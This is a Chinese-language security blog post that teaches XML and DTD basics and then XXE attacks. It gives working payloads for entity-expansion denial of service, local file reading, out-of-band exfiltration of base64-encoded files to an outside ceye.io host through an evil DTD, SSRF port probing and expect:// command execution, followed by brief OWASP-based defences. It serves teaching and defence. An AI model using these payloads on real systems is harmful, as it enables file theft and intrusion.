MENU

XXE漏洞总结

September 5, 2018 • Web

0x1 XML简介

XML 是各种应用程序之间进行数据传输的最常用的工具

XML的用途:

  1. XML 把数据从 HTML 分离
  2. XML 简化数据共享
  3. XML 简化数据传输
  4. XML 简化平台变更
  5. XML 使您的数据更有用
  6. XML 用于创建新的互联网语言

XML的结构

XML是一种树形结构,一般是包括xml声明->根元素->子元素(各元素内含有属性和文本)

<?xml version="1.0" encoding="UTF-8"?>
<root>
    <firstchild>hello</firstchild>
    <secondchild>XML</secondchild>
    <thirdchild>XML测试</thirdchild>
</root>

0x2 DTD

DTD

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

带有DTD的XML文档实例:
内部声明DTD

<!DOCTYPE root-element [element-declarations]>
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>

第一行xml声明、第二行定义文档类型、第三行定义note根元素的子元素、其余行定义子元素的类型

外部声明DTD:
<!DOCTYPE root-element SYSTEM "filename">或者<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
filename 可以是本地资源也可以是外部资源

实例:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

DTD文档中有很多重要的关键字如下:

  1. DOCTYPE(DTD的声明)
  2. ENTITY(实体的声明)
  3. SYSTEM、PUBLIC(外部资源申请)
    首先实体的声明必须在 DTD 文件 或 <!DOCTYPE> 中
   <?xml version="1.0" encoding="utf-8"?>
   <!DOCTYPE evil [
       <!ENTITY name "value">]>
   <evil>
       <value>&name;</value> 
   </evil>

其中DTD中参数实体的声明是以 <!ENTITY % name "value">格式,引用是以%name;的格式来引用的;其他实体则直接用实体名称申明,引用时格式为&name;

实体
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体引用是对实体的引用。
实体可在内部或外部进行声明。

内部实体:!ENTITY 实体名 "内容">

外部实体: !ENTITY 实体名 SYSTEM "URL/URI">
外部实体引入支持的协议不同的程序支持不同的协议详见下表:

1.png

PHP支持协议(部分协议需要相关扩展支持):
mark
参数实体:

1.参数实体只能在DTD声明中使用。
2.参数实体中不能再引用参数实体

参数实体的声明是以 <!ENTITY % name "value">格式,引用是以%name;的格式来引用的;其他实体则直接用实体名称申明,引用时格式为&name;

XML漏洞

mark

拒绝服务

   <?xml version="1.0" encoding="utf-8"?>
   <!DOCTYPE evil [
       <!ENTITY test "hack">
       <!ENTITY test2 "&test&test&test&test&test&test&test&test&test&test&test">
       <!ENTITY test3 "&test2&test2&test2&test2&test2&test2&test2&test2&test2&test2&test2">
        ...........
       
       ]>
  <evi1>&test3</evi1>

我们定义了一个多重嵌套的实体依次引用外层的实体如果层次过多那么实体数量也许能达到上亿条数据,如果程序在解析数据时没有对此防御,那么会消耗程序极大的资源从而造成拒绝服务攻击

外部实体注入(XXE)

XXE (XML External Entity Injection) 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载。

任意文件读取:

<?php
$xml = <<<EOF
<?xml version="1.0"?>
<!DOCTYPE evi1 [
    <!ENTITY test SYSTEM "file:///D://phpStudy//WWW//config.txt">
]>
<note>&test;</note>
EOF;
$data = simplexml_load_string($xml);
print_r($data);

?>

mark

无回显(可以结合ceye的HTTP REQUEST):

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE evil [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D://phpStudy//WWW//config.txt">
<!ENTITY % dtd SYSTEM "http://localhost/evil.xml"> %dtd;]>
<evil>&send;</evil>

evil.dtd:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://www.qu1tuw.ceye.io/?%file;'>"> 
%all;

mark

SSRF:

探测端口

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE evil [
<!ENTITY test SYSTEM "http://127.0.0.1:80/a">
]>
<a>&test<a>    

mark

如果端口未开放会提示连接失败或者一直无响应
mark
mark

命令执行:

需要结合各个语言的扩展来利用
phpexpect(默认是未安装的)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE evil [
<!ENTITY test  SYSTEM "expect://id">
]>
<a>&test<a>    

在内网中甚至可以反弹shell等等

发现XXE

发现XXE

  • 尝试注入特殊字符,使XML失效,引发解析异常,明确后端使用XML传输数据。
  • 单双引号 ' " 。XML的属性值必须用引号包裹,而数据可能进入标签的属性值。
  • 尖括号< >。XML的开始/结束标签用尖括号包裹,数据中出现尖括号会引发异常。
  • 注释符 作注释。
  • & 。& 用于引用实体。
  • CDATA 分隔符]]> 。<![CDATA[foo]]> 中的内容不被parser解析,提前闭合引发异常。
  • 尝试利用实体和DTD。
  • 引用外部DTD文件访问内网主机/端口。<!DOCTYPE a SYSTEM "http://127.0.0.1:2333"> (看响应时间)
  • 引用外部DTD文件访问外网。<!DOCTYPE a SYSTEM "http://vps_ip" >
  • 引用内部实体。<!DOCTYPE a [<!ENTITY xxe "findneo">]>&xxe;
  • 外部实体读本地文件。<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///etc/hosts">]>&xxe;
  • 外部实体访问内网主机/端口。<!DOCTYPE a SYSTEM "http://192.168.1.2:80">(看响应时间)
  • 外部实体访问外网。<!DOCTYPE a [<!ENTITY xxe SYSTEM "http://vps_ip">]>&xxe;
  • 判断问题存在可以OOB提取数据。

防御

  1. 禁用实体

参考owasp:https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet

  1. 过滤处理用户提交的xml数据

Refer

Archives Tip
QR Code for this page
Tipping QR Code